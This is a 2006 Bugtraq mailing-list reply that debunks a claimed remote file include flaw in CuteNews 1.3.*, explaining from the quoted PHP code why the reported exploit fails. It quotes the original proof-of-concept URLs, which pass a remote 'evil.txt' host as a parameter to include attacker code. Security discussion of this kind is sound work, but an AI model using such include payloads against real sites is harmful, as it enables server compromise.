Bugtraq mailing list archives
Re: CuteNews 1.3.* Remote File Include Vulnerability
From: "Carsten Eilers" <ceilers-lists () gmx de>
Date: Wed, 30 Aug 2006 00:12:25 +0200
Hi, stormhacker () hotmail com schrieb am Fri, 25 Aug 2006 19:14:46 +0000:
Vendor: CuteNews 1.3.* -----------------Description--------------- $cutepath = __FILE__;
Here $cutepath is set to the path of this script
$cutepath = preg_replace( "'\\\search\.php'", "", $cutepath); $cutepath = preg_replace( "'/search\.php'", "", $cutepath);
Now the name of the script, search.php, is removed. As result $cutepath contains the patch to the directory of search.php...
require_once("$cutepath/inc/functions.inc.php");
...from where inc/functions.inc.php is included. Same for show_news.php. So where is a vulnerability?
--------------PoC/Exploit---------------------- show_news.php?cutepath=http://host/evil.txt? search.php?cutepath=http://host/evil.txt?
They don't work
--------------Solution--------------------- No Patch available.
No patch necessary.
--------------Credit----------------------- Discovered by: rUnViRuS (worlddefacers.de)
Credit for what? A non-existing vulnerability? OK: Applaus, applaus, applaus... ;-) Regards Carsten -- Dipl.-Inform. Carsten Eilers IT-Sicherheit und Datenschutz <http://www.ceilers-it.de>
Current thread:
- CuteNews 1.3.* Remote File Include Vulnerability stormhacker (Aug 25)
- Re: CuteNews 1.3.* Remote File Include Vulnerability Carsten Eilers (Aug 30)